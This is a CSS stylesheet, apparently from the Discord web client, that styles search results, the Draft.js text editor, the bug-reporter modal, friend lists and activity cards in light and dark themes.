.option-96V44q, .resultsGroup-r_nuzN .searchClearHistory-2cSSMO { overflow: hidden; }

.option-96V44q { position: relative; display: flex; -webkit-box-align: center; align-items: center; font-size: 16px; margin: 0px 10px; padding: 0px 10px; height: 34px; border-radius: 3px; cursor: pointer; }

.option-96V44q::after { z-index: 1; content: ""; position: absolute; top: 0px; right: 0px; height: 100%; width: 30px; }

.option-96V44q:hover .plusIcon-v0BTrL, .option-96V44q[aria-selected="true"] .plusIcon-v0BTrL { display: block; }

.option-96V44q:hover::before, .option-96V44q[aria-selected="true"]::before { z-index: 2; content: ""; position: absolute; top: 0px; right: 0px; height: 34px; width: 24px; }

.option-96V44q:hover::after, .option-96V44q[aria-selected="true"]::after { width: 60px; }

.option-96V44q span { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.option-96V44q .nonText-3CRkO0 { margin: 0px 4px; }

.option-96V44q .filter-3Y_im- { margin: 0px 2px 0px 4px; }

.option-96V44q .answer-1n6g43 { margin: 0px 4px 0px 2px; font-weight: 500; }

.option-96V44q strong { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; font-weight: 500; }

.option-96V44q .filter-3Y_im- { margin-right: 4px; }

.option-96V44q > :first-child { margin-left: 0px; }

.option-96V44q.user-O3Czj0 .displayAvatar-1wWlVM { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; width: 20px; height: 20px; border-radius: 50%; display: inline-block; }

.option-96V44q.user-O3Czj0 .displayedNick-3xxvzU { font-weight: 500; margin: 0px 5px; }

.option-96V44q.user-O3Czj0 .displayUsername-Qekxml { font-weight: 500; }

.option-96V44q.linkSource-1-3cE_ strong { text-transform: capitalize; }

.searchOption-zQ-1l6 .filter-3Y_im- { font-weight: 500; margin: 0px 4px 0px 0px; }

.searchOption-zQ-1l6 .answer-1n6g43 { font-weight: 500; }

.datePicker--XZbmJ { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; box-shadow: none; border-radius: 0px; }

.datePicker--XZbmJ, .datePicker--XZbmJ .datePickerHint-3Q1Udw { display: flex; }

.datePicker--XZbmJ .datePickerHint-3Q1Udw { padding: 20px 0px; margin: 0px 20px; -webkit-box-align: center; align-items: center; }

.datePicker--XZbmJ .datePickerHint-3Q1Udw .hint-165cR4 { font-size: 16px; }

.datePicker--XZbmJ .datePickerHint-3Q1Udw .hintValue-29ny8Z { font-size: 14px; line-height: 22px; padding: 0px 3px; border-radius: 3px; font-weight: 500; cursor: pointer; }

.searchResultChannelIcon-1DnTme { vertical-align: top; margin-right: 4px; flex-shrink: 0; width: 16px; height: 16px; }

.searchResultChannelCategory-1l0lSn { position: relative; text-transform: uppercase; font-size: 10px; font-weight: 600; margin-left: 4px; flex-shrink: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; top: 2px; }

.plusIcon-v0BTrL { position: absolute; top: 8px; right: 8px; z-index: 2; display: none; opacity: 0.6; }

.theme-dark .resultsGroup-r_nuzN::before { border-top: 1px solid hsla(214,calc(var(--saturation-factor, 1)*9.1%),15.1%,0.3); }

.theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a { color: rgb(202, 203, 206); }

.theme-dark .option-96V44q::after { background: linear-gradient(90deg, rgba(54, 57, 63, 0), rgb(54, 57, 63) 80%); }

.theme-dark .option-96V44q:hover { background-color: var(--background-modifier-hover); }

.theme-dark .option-96V44q:hover::after { background: linear-gradient(90deg,hsla(--background-modifier-hover,0),var(--background-modifier-hover) 50%); }

.theme-dark .option-96V44q[aria-selected="true"] { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.1%),15.1%); }

.theme-dark .option-96V44q[aria-selected="true"]::after { background: linear-gradient(90deg,hsla(214,calc(var(--saturation-factor, 1)*9.1%),15.1%,0),hsl(214,calc(var(--saturation-factor, 1)*9.1%),15.1%) 50%); }

.theme-dark .option-96V44q .answer-1n6g43, .theme-dark .option-96V44q .nonText-3CRkO0, .theme-dark .option-96V44q strong { color: rgb(202, 204, 206); }

.theme-dark .option-96V44q .filter-3Y_im- { color: rgb(114, 118, 125); }

.theme-dark .option-96V44q.user-O3Czj0 .displayedNick-3xxvzU { color: rgb(202, 204, 206); }

.theme-dark .option-96V44q.user-O3Czj0 .displayUsername-Qekxml { color: rgb(94, 99, 106); }

.theme-dark .searchOption-zQ-1l6 .filter-3Y_im- { color: rgb(202, 204, 206); }

.theme-dark .searchOption-zQ-1l6 .answer-1n6g43 { color: rgb(114, 118, 125); }

.theme-dark .datePicker--XZbmJ { border-top: none; }

.theme-dark .datePicker--XZbmJ .datePickerHint-3Q1Udw { border-top: 1px solid hsla(214,calc(var(--saturation-factor, 1)*9.1%),15.1%,0.3); }

.theme-dark .datePicker--XZbmJ .datePickerHint-3Q1Udw .hint-165cR4 { color: rgb(202, 204, 206); }

.theme-dark .datePicker--XZbmJ .datePickerHint-3Q1Udw .hintValue-29ny8Z { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.theme-dark .datePicker--XZbmJ .datePickerHint-3Q1Udw .hintValue-29ny8Z:hover { background-color: var(--brand-experiment-430); }

.theme-dark .searchResultChannelCategory-1l0lSn, .theme-dark .searchResultChannelIcon-1DnTme { color: rgb(114, 118, 125); }

.theme-dark .searchResultChannelIconBackground-7ncwtC { opacity: 0.6; }

.resultChannel-3BYgHX { display: flex; flex-wrap: nowrap; -webkit-box-align: center; align-items: center; }

.theme-light .resultsGroup-r_nuzN::before { border-top: 1px solid rgb(220, 221, 222); }

.theme-light .resultsGroup-r_nuzN .header-2N-gMV, .theme-light .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-light .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-light .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a { color: rgb(202, 203, 206); }

.theme-light .option-96V44q::after { background: linear-gradient(90deg, rgba(255, 255, 255, 0), rgb(255, 255, 255) 80%); }

.theme-light .option-96V44q:hover { background-color: var(--background-modifier-hover); }

.theme-light .option-96V44q:hover::after { background: linear-gradient(90deg,hsla(--background-modifier-hover,0),var(--background-modifier-hover) 50%); }

.theme-light .option-96V44q[aria-selected="true"] { background-color: rgb(246, 246, 247); }

.theme-light .option-96V44q[aria-selected="true"]::after { background: linear-gradient(90deg, rgba(246, 246, 247, 0), rgb(246, 246, 247) 50%); }

.theme-light .option-96V44q .nonText-3CRkO0 { color: rgb(94, 99, 106); }

.theme-light .option-96V44q .filter-3Y_im- { color: rgb(202, 204, 206); }

.theme-light .option-96V44q .answer-1n6g43, .theme-light .option-96V44q strong { color: rgb(79, 84, 92); }

.theme-light .option-96V44q.user-O3Czj0 .displayedNick-3xxvzU { color: rgb(94, 99, 106); }

.theme-light .option-96V44q.user-O3Czj0 .displayUsername-Qekxml { color: rgb(202, 204, 206); }

.theme-light .searchOption-zQ-1l6 .filter-3Y_im- { color: rgb(79, 84, 92); }

.theme-light .searchOption-zQ-1l6 .answer-1n6g43 { color: rgb(202, 204, 206); }

.theme-light .datePicker--XZbmJ, .theme-light .datePicker--XZbmJ .datePickerHint-3Q1Udw { border-top: 1px solid rgb(220, 221, 222); }

.theme-light .datePicker--XZbmJ .datePickerHint-3Q1Udw .hint-165cR4 { color: rgb(202, 204, 206); }

.theme-light .datePicker--XZbmJ .datePickerHint-3Q1Udw .hintValue-29ny8Z { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.theme-light .datePicker--XZbmJ .datePickerHint-3Q1Udw .hintValue-29ny8Z:hover { background-color: var(--brand-experiment-430); }

.theme-light .searchResultChannelCategory-1l0lSn, .theme-light .searchResultChannelIcon-1DnTme { color: rgb(185, 187, 190); }

.theme-light .searchResultChannelIconBackground-7ncwtC { opacity: 0.6; }

.search-2oPWTC { position: relative; overflow: visible; z-index: 100; -webkit-app-region: no-drag; }

.search-2oPWTC .DraftEditor-root { -webkit-box-flex: 1; flex: 1 1 0%; font-size: 14px; font-weight: 500; line-height: 20px; overflow: hidden; padding: 2px 0px; }

.search-2oPWTC .DraftEditor-root .DraftEditor-editorContainer { border: none; overflow: hidden; border-radius: 2px; height: 20px; }

.search-2oPWTC .DraftEditor-root .public-DraftEditor-content, .search-2oPWTC .DraftEditor-root .public-DraftEditorPlaceholder-root { box-sizing: content-box; padding-bottom: 20px; padding-left: 2px; padding-right: 2px; }

.search-2oPWTC .DraftEditor-root .public-DraftEditorPlaceholder-root { color: var(--text-muted); padding-left: 4px; }

.search-2oPWTC .DraftEditor-root .public-DraftEditor-content { overflow: auto hidden; }

.search-2oPWTC .DraftEditor-root .public-DraftStyleDefault-block { display: inline-block; min-width: 1px; white-space: pre; }

.search-2oPWTC .DraftEditor-root .public-DraftStyleDefault-block span { min-width: 1px; }

.searchBar-3dMhjb { box-sizing: border-box; display: flex; -webkit-box-align: stretch; align-items: stretch; height: 24px; width: 144px; border-radius: 4px; box-shadow: none; cursor: text; overflow: hidden; padding: 0px 2px; color: var(--text-normal); background-color: var(--background-tertiary); }

.searchBar-3dMhjb .icon-38sknP { width: 24px; height: 24px; }

.focused-31_ccS .searchBar-3dMhjb, .open-6_Y_aH .searchBar-3dMhjb { width: 240px; }

.DraftEditor-editorContainer, .DraftEditor-root, .public-DraftEditor-content { height: inherit; text-align: initial; }

.public-DraftEditor-content[contenteditable="true"] { -webkit-user-modify: read-write-plaintext-only; }

.DraftEditor-root { position: relative; }

.DraftEditor-editorContainer { background-color: rgba(255, 255, 255, 0); border-left: 0.1px solid transparent; position: relative; z-index: 1; }

.public-DraftEditor-block { position: relative; }

.DraftEditor-alignLeft .public-DraftStyleDefault-block { text-align: left; }

.DraftEditor-alignLeft .public-DraftEditorPlaceholder-root { left: 0px; text-align: left; }

.DraftEditor-alignCenter .public-DraftStyleDefault-block { text-align: center; }

.DraftEditor-alignCenter .public-DraftEditorPlaceholder-root { margin: 0px auto; text-align: center; width: 100%; }

.DraftEditor-alignRight .public-DraftStyleDefault-block { text-align: right; }

.DraftEditor-alignRight .public-DraftEditorPlaceholder-root { right: 0px; text-align: right; }

.public-DraftEditorPlaceholder-root { color: rgb(145, 151, 163); position: absolute; z-index: 1; }

.public-DraftEditorPlaceholder-hasFocus { color: rgb(189, 193, 201); }

.DraftEditorPlaceholder-hidden { display: none; }

.public-DraftStyleDefault-block { position: relative; white-space: pre-wrap; }

.public-DraftStyleDefault-ltr { direction: ltr; text-align: left; }

.public-DraftStyleDefault-rtl { direction: rtl; text-align: right; }

.public-DraftStyleDefault-listLTR { direction: ltr; }

.public-DraftStyleDefault-listRTL { direction: rtl; }

.public-DraftStyleDefault-ol, .public-DraftStyleDefault-ul { margin: 16px 0px; padding: 0px; }

.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listLTR { margin-left: 1.5em; }

.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listRTL { margin-right: 1.5em; }

.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listLTR { margin-left: 3em; }

.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listRTL { margin-right: 3em; }

.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listLTR { margin-left: 4.5em; }

.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listRTL { margin-right: 4.5em; }

.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listLTR { margin-left: 6em; }

.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listRTL { margin-right: 6em; }

.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listLTR { margin-left: 7.5em; }

.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listRTL { margin-right: 7.5em; }

.public-DraftStyleDefault-unorderedListItem { list-style-type: square; position: relative; }

.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth0 { list-style-type: disc; }

.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth1 { list-style-type: circle; }

.public-DraftStyleDefault-orderedListItem { list-style-type: none; position: relative; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listLTR::before { left: -36px; position: absolute; text-align: right; width: 30px; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listRTL::before { position: absolute; right: -36px; text-align: left; width: 30px; }

.public-DraftStyleDefault-orderedListItem::before { content: counter(ol0) ". "; counter-increment: ol0 1; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth1::before { content: counter(ol1, lower-alpha) ". "; counter-increment: ol1 1; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth2::before { content: counter(ol2, lower-roman) ". "; counter-increment: ol2 1; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth3::before { content: counter(ol3) ". "; counter-increment: ol3 1; }

.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth4::before { content: counter(ol4, lower-alpha) ". "; counter-increment: ol4 1; }

.public-DraftStyleDefault-depth0.public-DraftStyleDefault-reset { counter-reset: ol0 0; }

.public-DraftStyleDefault-depth1.public-DraftStyleDefault-reset { counter-reset: ol1 0; }

.public-DraftStyleDefault-depth2.public-DraftStyleDefault-reset { counter-reset: ol2 0; }

.public-DraftStyleDefault-depth3.public-DraftStyleDefault-reset { counter-reset: ol3 0; }

.public-DraftStyleDefault-depth4.public-DraftStyleDefault-reset { counter-reset: ol4 0; }

.bugReporterSubmitModalRoot-3BBFsB { width: 720px; height: auto; background-color: transparent !important; box-shadow: none !important; background-image: url("https://discord.com/assets/d6c7adbddb60cfed4b88a9bfa9210032.png") !important; background-size: contain !important; background-repeat: no-repeat !important; background-position: 50% center !important; }

.modalContent-yOVPAC { padding: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.closeButton-EQojsz { position: absolute; box-sizing: content-box; top: 12px; right: 4px; }

.submitText-SsqFtY { max-width: 360px; margin-top: 20px; font-family: "Arial Rounded MT Bold"; color: rgb(116, 102, 75); font-size: 20px; line-height: 28px; text-align: center; }

.modalRoot-11gAEw { width: 720px; display: flex; margin: 0px; }

.modalContent-12Adg5 { padding: 0px; }

.sidebarContainer-CwCoqS { width: 240px; padding: 24px; background-color: var(--background-tertiary); }

.contentContainer-2XSL7b, .sidebarContainer-CwCoqS { box-sizing: border-box; }

.contentContainer-2XSL7b { width: 480px; height: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.contentIcon-3LT4PH { margin: 20px; }

.form-1tDxir { width: 100%; -webkit-box-flex: 1; flex: 1 1 0%; padding: 0px 20px 20px; overflow: auto; box-sizing: border-box; margin-bottom: 100px; }

.formInput-3e3tj9 { margin-top: 24px; }

.formPriorityImageContainer-3xlKOW { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.formPriorityTitleContainer-2bcpg- { display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-align: center; align-items: center; }

.formPriorityTitle-1vOte_ { margin-top: 10px; margin-left: 10px; }

.formPriorityDescription-3hOjrC { margin-top: 10px; margin-bottom: 10px; }

.formPriorityImage-1EUOSz { width: 24px; height: 24px; }

.container-1HyZXi { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.formButton-1yY44S { margin-left: 24px; }

.imageOptionsContainer-1H9ulx { margin-top: 24px; display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.imageOptionsRemove-F2r29c:hover { text-decoration: underline; cursor: pointer; }

.imageContainer-11jf4c { margin-top: 12px; margin-bottom: 12px; width: 100%; height: 220px; display: flex; background-color: var(--background-tertiary); -webkit-box-pack: center; justify-content: center; border-radius: 8px; }

.image-2vZlW9 { width: auto; height: 100%; }

.attachment-34Stm-, .uploadButton-3g2LRq { margin: 24px auto; }

.submitContainer-1V42lp { width: 480px; display: flex; position: fixed; bottom: 0px; right: 0px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: end; align-items: flex-end; -webkit-box-pack: end; justify-content: flex-end; padding: 24px 16px; background-color: var(--background-secondary); box-sizing: border-box; border-radius: 0px 0px 8px; }

@-webkit-keyframes arrowBounce-1NRiP8 { 
  0% { transform: translate3d(0px, -2px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(0px, -2px, 0px); }
}

@keyframes arrowBounce-1NRiP8 { 
  0% { transform: translate3d(0px, -2px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(0px, -2px, 0px); }
}

.children-3Bo2Aw { -webkit-box-flex: 0; flex: 0 1 auto; }

.back-38bAq5 { margin-right: 12px; opacity: 0.6; }

.back-38bAq5:active, .back-38bAq5:hover { opacity: 0.8; }

.back-38bAq5:disabled { opacity: 0.2; }

.updateIconForeground-3tnNZn { fill: hsl(139,calc(var(--saturation-factor, 1)*51.6%),52.2%); }

.search-36MZv- { margin: 0px 8px; }

.toolbar-1ZLc8T { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.downloadArrow-BfJJjn { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); animation: 2s ease-in-out 0s infinite normal none running arrowBounce-1NRiP8; }

.theme-light .back-38bAq5 { color: rgb(79, 84, 92); }

.theme-light .cloud-31LAb8 { color: rgb(144, 153, 164); }

.theme-dark .back-38bAq5 { color: rgb(255, 255, 255); }

.theme-dark .cloud-31LAb8 { color: rgb(114, 118, 125); }

@media (min-width: 849px) {
  .headerBarLoggedOut-1Txau0 { padding: 0px 30px; }
}

.friendWrapper-2SrUFF { cursor: pointer; padding: 1px 0px; margin: 0px 4px 0px 12px; }

.friend-3KALPe { border-radius: 3px; box-sizing: border-box; height: 40px; padding: 6px 8px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-size: 15px; font-weight: 500; }

.friend-3KALPe .avatar-vr5NCN { flex-shrink: 0; margin: 0px; }

.friend-3KALPe .checkbox-22U-7- { -webkit-box-flex: 0; flex: 0 0 auto; }

.friend-3KALPe .match-23yWrF { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.friend-3KALPe .nickname-O95uts { margin-right: 4px; }

.friend-3KALPe .discordTag-X7dpau { opacity: 0.5; }

.theme-dark .friend-3KALPe { color: rgb(185, 187, 190); }

.theme-dark .friendSelected-1sa4bG { background-color: rgba(79, 84, 92, 0.3); color: rgb(255, 255, 255); }

.theme-light .friend-3KALPe { color: rgb(114, 118, 125); }

.theme-light .friendSelected-1sa4bG { background-color: rgba(220, 221, 222, 0.3); color: rgb(0, 0, 0); }

.popout-103y-5 { width: 440px; }

.searchBar-1Vaz-O .searchBarComponent-yxeVIL { box-shadow: none; -webkit-box-flex: 1; flex: 1 1 0%; }

.searchBar-1Vaz-O .addButton-tsPCpZ { margin-left: 8px; }

.subtitleWarning-11fCy8 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) !important; }

.noResults-ZTbl5V, .scroller-hUf6zQ { max-height: 190px; }

.copyInput-fU5OcD { -webkit-box-flex: 1; flex-grow: 1; }

.noBorder-3d42mF { border: none; }

.copyButton-1r9_ji { margin-right: 4px; width: 75px; }

.errorState-KkUH_2 { padding: 20px 20px 40px; font-weight: 500; font-size: 16px; line-height: 20px; text-align: center; }

.errorState-KkUH_2.noResults-ZTbl5V { padding: 0px 48px; }

.errorStateIcon-3fNXE5 { background-repeat: no-repeat; background-position: 50% center; background-size: cover; }

.notFriends-SkjxV- .errorStateIcon-3fNXE5 { width: 300px; height: 129px; }

.noFriends-1fVUuM .errorStateIcon-3fNXE5 { width: 171px; height: 86px; }

.partyFull-35IpOX .errorStateIcon-3fNXE5 { width: 181px; height: 82px; }

.noResults-ZTbl5V .errorStateIcon-3fNXE5 { width: 85px; height: 85px; }

.footerSeparator-M9dQY1 { height: 1px; margin: 0px 10px; }

.footer-1eyGBa { padding: 20px; }

.weightMedium-3CtpYl { font-weight: 500; }

.selectExistingFormHeader-2lvZyI { margin-top: 16px; margin-bottom: 8px; }

.confirmChannelItemContainer-26y0vz { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 8px; border-radius: 4px; }

.confirmChannelName-2B0Rjy { font-weight: 500; font-size: 14px; margin-left: 8px; color: var(--header-primary); }

.lastActiveTimestamp-WmAhFE { margin-left: 8px; color: var(--text-muted); font-size: 12px; margin-top: 2px; }

.confirmInviteScroller-2IX49p { max-height: 160px; height: auto; margin-left: -8px; }

.confirmChannelItemContainer-26y0vz:hover { cursor: pointer; background-color: var(--background-modifier-hover); }

.theme-dark .subtitle-2P4u9v { color: rgb(185, 187, 190); }

.theme-dark .errorState-KkUH_2 { color: rgb(114, 118, 125); }

.theme-dark .notFriends-SkjxV- .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/35000dd88d1b338a790f3e387cbd7e7a.svg"); }

.theme-dark .noFriends-1fVUuM .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/1dabb8ee5d7cb5137c06f958e0091573.svg"); }

.theme-dark .partyFull-35IpOX .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/25f3555f54d3c872f0ac7a5922c8eccf.svg"); }

.theme-dark .noResults-ZTbl5V .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/03e1ac95e0dd757f16dc200bf6af9ba3.svg"); }

.theme-dark .footerSeparator-M9dQY1 { box-shadow: rgba(255, 255, 255, 0.04) 0px -1px 0px; }

.theme-dark .footerText-3w69ae { color: rgb(185, 187, 190); }

.theme-light .subtitle-2P4u9v { color: rgb(114, 118, 125); }

.theme-light .errorState-KkUH_2 { color: rgba(185, 187, 190, 0.9); }

.theme-light .notFriends-SkjxV- .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/a04c7c4c4ae704b78f6468eb4cbf734e.svg"); }

.theme-light .noFriends-1fVUuM .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/35b49c535a7872bfc0a260fd3b3cb76e.svg"); }

.theme-light .partyFull-35IpOX .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/e1865a8cd9d685b3f6b69d22adc9b429.svg"); }

.theme-light .noResults-ZTbl5V .errorStateIcon-3fNXE5 { background-image: url("https://discord.com/assets/1416806a4bfc6697e12807cd303914b2.svg"); }

.theme-light .footerSeparator-M9dQY1 { box-shadow: rgba(54, 57, 63, 0.1) 0px -1px 0px; }

.theme-light .footerText-3w69ae { color: rgb(114, 118, 125); }

.inset-3sAvek, .outer-1AjyKL { border-radius: 4px; }

.outer-1AjyKL { background-color: var(--activity-card-background); }

.padded-302COx { padding: 16px; }

.padded-302COx.inset-3sAvek { padding: 12px; }

.interactive-3B9GmY { cursor: pointer; }

.theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover { background-color: rgb(24, 25, 28); }

.theme-dark .inset-3sAvek { background-color: rgb(47, 49, 54); }

.theme-light .inset-3sAvek { background-color: rgb(235, 237, 239); }

.card-2qZngs { text-align: center; }

.header-nbFv8R { margin-bottom: 4px; }

.buttonContainer-3S4iWT { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: 16px; }

.buttonContainer-3S4iWT > * { margin-bottom: 8px; }

.buttonContainer-3S4iWT > :last-child { margin-bottom: 0px; }

.wrapper-3D2qGf { background-color: var(--background-secondary); border: 1px solid var(--background-modifier-accent); }

.overlay-2SwBN8 { position: absolute; top: -1px; bottom: -1px; right: 0px; display: none; -webkit-box-pack: end; justify-content: flex-end; -webkit-box-align: center; align-items: center; padding-left: 50px; box-sizing: border-box; max-width: 100%; }

.overlay-2SwBN8:empty { padding-left: 0px; }

.headerOverlay-2mAFik, .sectionOverlay-2i3R5I, .twitchOverlay-CYlF3G { }

.headerOverlay-2mAFik { right: 32px; }

.section-2gLsgF { position: relative; padding: 12px; border-radius: 8px; background-color: var(--background-primary); }

.clickableIcon-32gFJk { cursor: pointer; }

.sectionTitle-b-eawy { font-weight: 600; }

.textContent-3N7xXx { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.separator-XqIyoz { height: 1px; }

.separator-XqIyoz.inset-2ML61G { margin-left: 12px; margin-right: 12px; }

.header-211Syv { position: relative; display: grid; -webkit-box-align: center; align-items: center; height: 36px; gap: 12px; }

.headerFull-1dyyvV { grid-template-columns: 32px minmax(20px, auto) 24px; }

.headerSimple-2n13P7 { grid-template-columns: 32px minmax(20px, auto); }

.headerAvatar-2MDZJn { cursor: pointer; }

.headerIcon-10Jegm, .multipleIconWrapper-DfGWrz { display: block; width: 24px; height: 24px; justify-self: end; border-radius: 8px; }

.multipleIconWrapper-DfGWrz { border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.multipleIcon-1oJINS { width: 18px; height: 18px; }

.body-1ld4H7 { margin-top: 12px; border-radius: 8px; }

.body-1ld4H7 .separator-XqIyoz { margin-top: 0px; margin-bottom: 0px; }

.voiceSection-1uiU7a { display: grid; grid-template-columns: 32px minmax(20px, auto) max-content; gap: 12px; }

.voiceSection-1uiU7a, .voiceSectionAssets-1gjfmz { -webkit-box-align: center; align-items: center; }

.voiceSectionAssets-1gjfmz { position: relative; width: 32px; height: 32px; border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; }

.voiceSectionDetails-2DQTfs { cursor: pointer; }

.voiceSectionDetails-2DQTfs:hover .voiceSectionText-vrWR1s { text-decoration: underline; }

.voiceSectionGuildImage-3HwnfL, .voiceSectionNoGuildImageWrapper-TicZR3 { width: 32px; height: 32px; border-radius: 50%; -webkit-mask: url("https://discord.com/assets/54e7d417006439ced906da5709c645ab.svg") 0% 0% / 100%; mask: url("https://discord.com/assets/54e7d417006439ced906da5709c645ab.svg"); mask-type: luminance; cursor: pointer; }

.voiceSectionNoGuildImageWrapper-TicZR3 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.voiceSectionNoGuildImage-DSaGg- { display: inline-block; overflow: hidden; }

.voiceSectionIconWrapper-FO7UEY { width: 16px; height: 16px; border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; position: absolute; bottom: -2px; right: -2px; }

.voiceSectionIcon-1b3cOo { width: 10px; height: 10px; }

.applicationStreamingSection-1YWLV7 { display: grid; grid-template-columns: 32px minmax(20px, auto) max-content; gap: 12px; -webkit-box-align: center; align-items: center; }

.applicationStreamingAvatar-2iYCcz { cursor: pointer; }

.applicationStreamingPreviewWrapper-8QqvVY { margin-top: 12px; cursor: pointer; border-radius: 4px; }

.applicationStreamingPreviewWrapper-8QqvVY:hover .applicationStreamingHoverWrapper-31lOYj { opacity: 1; }

.applicationStreamingPreviewSize-3NIvhL { height: 100%; width: 100%; }

.applicationStreamingHoverWrapper-31lOYj { transition: opacity 0.2s ease-in-out 0s; opacity: 0; position: absolute; inset: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; cursor: pointer; }

.applicationStreamingHoverText-IEVyfS { background: rgba(0, 0, 0, 0.6); color: rgb(255, 255, 255); font-size: 16px; font-weight: 600; line-height: 20px; padding: 8px 20px; border-radius: 20px; }

.xboxSection-Lw6vjc { display: grid; grid-template-columns: 32px minmax(20px, auto); gap: 12px; -webkit-box-align: center; align-items: center; }

.xboxSectionIcon-1Y8MqF { width: 28px; height: 28px; padding: 2px; }

.twitchSection-1igfBl { min-height: 32px; }

.twitchSectionHeader-2QggTa { position: relative; display: grid; gap: 12px; -webkit-box-align: center; align-items: center; }

.twitchSectionSimple-3r5e1V { grid-template-columns: 32px minmax(20px, auto); }

.twitchSectionFull-2gHsjm { grid-template-columns: 32px minmax(20px, auto) 24px; }

.twitchSectionIcon-3Vs9SA { width: 32px; height: 32px; }

.twitchSectionPlayButton-29EKzF { position: absolute; left: calc(50% - 16px); top: calc(50% - 16px); opacity: 0.75; cursor: pointer; }

.twitchSectionAvatar-lHNqxc { justify-self: end; }

.twitchSectionPreviewWrapper-28s2_4 { margin-top: 12px; cursor: pointer; }

.twitchSectionPreviewWrapper-28s2_4:hover .twitchSectionPlayButton-29EKzF { opacity: 1; }

.twitchSectionPreview-Fjjwbv { width: 100%; height: 100%; object-fit: cover; border-radius: 4px; }

.gameSection-DL895r { display: grid; grid-template-columns: 32px minmax(20px, auto) max-content; gap: 12px; -webkit-box-align: center; align-items: center; }

.gameSectionIcon-Q7MbAx { width: 32px; height: 32px; cursor: pointer; }

.activitySection-cEg8ae { display: grid; grid-template-columns: 32px minmax(20px, auto); gap: 12px; -webkit-box-align: start; align-items: start; }

.activitySectionAssets-32WyHu { position: relative; display: grid; -webkit-box-pack: start; justify-content: start; -webkit-box-align: center; align-items: center; }

.activitySectionAssets-32WyHu .largeImageMask-KlyeCi { -webkit-mask: url("https://discord.com/assets/da0c4a32b44b04d50f7951b925a39063.svg") 0% 0% / 100%; mask: url("https://discord.com/assets/da0c4a32b44b04d50f7951b925a39063.svg"); mask-type: luminance; }

.activitySectionAssets-32WyHu .largeImage-DLXk-f { width: 32px; height: 32px; border-radius: 4px; object-fit: cover; }

.activitySectionAssets-32WyHu .smallImage-1p6VYD { width: 16px; height: 16px; border-radius: 50%; position: absolute; bottom: -4px; right: -4px; }

.spotifySection-2-AVOl { grid-template-columns: 32px minmax(20px, auto) max-content; }

